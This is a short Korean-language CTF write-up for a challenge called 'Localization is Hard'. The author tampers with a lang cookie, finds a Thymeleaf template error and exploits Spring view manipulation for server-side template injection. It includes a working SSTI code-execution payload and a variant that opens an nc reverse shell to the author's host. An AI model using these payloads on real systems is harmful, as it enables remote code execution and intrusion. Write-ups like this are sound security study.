๊ธ€ ์ž‘์„ฑ์ž: heogi
[Localization is Hard]
We made a little cafe for all the ctfers to relax after the competition.
The website is available in russian and english.
Try to find the flag somewhere in /

ํŽ˜์ด์ง€์— ์ ‘์†ํ•˜์—ฌ ๊ธฐ๋Šฅ์„ ์‚ดํŽด๋ณด๋ฉด ๋ณ„๋‹ค๋ฅธ ๊ธฐ๋Šฅ์€ ์—†๊ณ  ์˜์–ด, ๋Ÿฌ์‹œ์•„์–ด๋กœ ๋ณ€๊ฒฝํ•ด์ฃผ๋Š” ๊ธฐ๋Šฅ์ด์žˆ๋‹ค.
ํ•ด๋‹น ๊ธฐ๋Šฅ์€ ์ฟ ํ‚ค ๊ฐ’์— lang=en ๋˜๋Š” ru ๋กœ ์„ค์ •๋˜์–ด ์ฒ˜๋ฆฌ๋œ๋‹ค.

GET / HTTP/1.1
Host: 151.236.114.211:7878
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36 Edg/88.0.705.81
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://151.236.114.211:7878/
Accept-Encoding: gzip, deflate
Accept-Language: ko,en;q=0.9,en-US;q=0.8
Cookie: lang=en
Connection: close

 

Cookie๊ฐ€ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ๋ฐ›๋Š” ๊ฑฐ์˜ ์œ ์ผํ•œ ๊ธฐ๋Šฅ์ด๋‹ค.
lang ์ฟ ํ‚ค ๊ฐ’์„ ๋ณ€์กฐํ•ด๋ณด๋‹ˆ ์•„๋ž˜์™€ ๊ฐ™์€ ์‘๋‹ต์ด ๋ฐœ์ƒํ•œ๋‹ค.

thymeleaf๋ผ๋Š” Template์—์„œ exception์ด ๋ฐœ์ƒํ•˜์˜€๋‹ค.
ํ•œ๋ฒˆ SSTI์ชฝ์œผ๋กœ ๋ฐฉํ–ฅ์„ ์žก์•„๋ณด๊ณ  payload๋ฅผ ํ…Œ์ŠคํŠธ ํ•ด๋ณด์•˜๋‹ค. 
thymelaeaf SSTI Code Excecution ์ชฝ์œผ๋กœ ๊ฒ€์ƒ‰์„ ํ•ด๋ณด์•˜๋‹ค.

Spring View Manipulation Vulnerability | Veracode

 

Spring View Manipulation Vulnerability | Veracode

In this article we explain how dangerous could be an unrestricted view name manipulation in Spring Framework.

www.veracode.com

ํ•ด๋‹น๊ธ€์— code execution ํ•  ์ˆ˜ ์žˆ๋Š” payload๊ฐ€ ์žˆ๋‹ค.

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x

ํ•˜์ง€๋งŒ ์ถœ๋ ฅ๊ฐ’์„ ๋ฐ›์•„๋ณผ ์ˆ˜ ๊ฐ€์—†์–ด์„œ nc๋ฅผ ํ†ตํ•ด ์ง์ ‘ ์—ฐ๊ฒฐํ•˜๋Š” ๋ฐฉ๋ฒ•์œผ๋กœ payload๋ฅผ ๋ณ€๊ฒฝํ•ด์•ผํ•œ๋‹ค.

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("nc ctf.heogi.com 8888 -e /bin/sh").getInputStream()).next()}__::.x

์ •์ƒ์ ์œผ๋กœ ์—ฐ๊ฒฐ์ด ๋˜์–ด ํŒŒ์ผ์„ ์—ด์–ด๋ณด๋ฉด ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋‚˜์˜จ๋‹ค.

Aero{j4va_1s_better_th4n_engl1sh}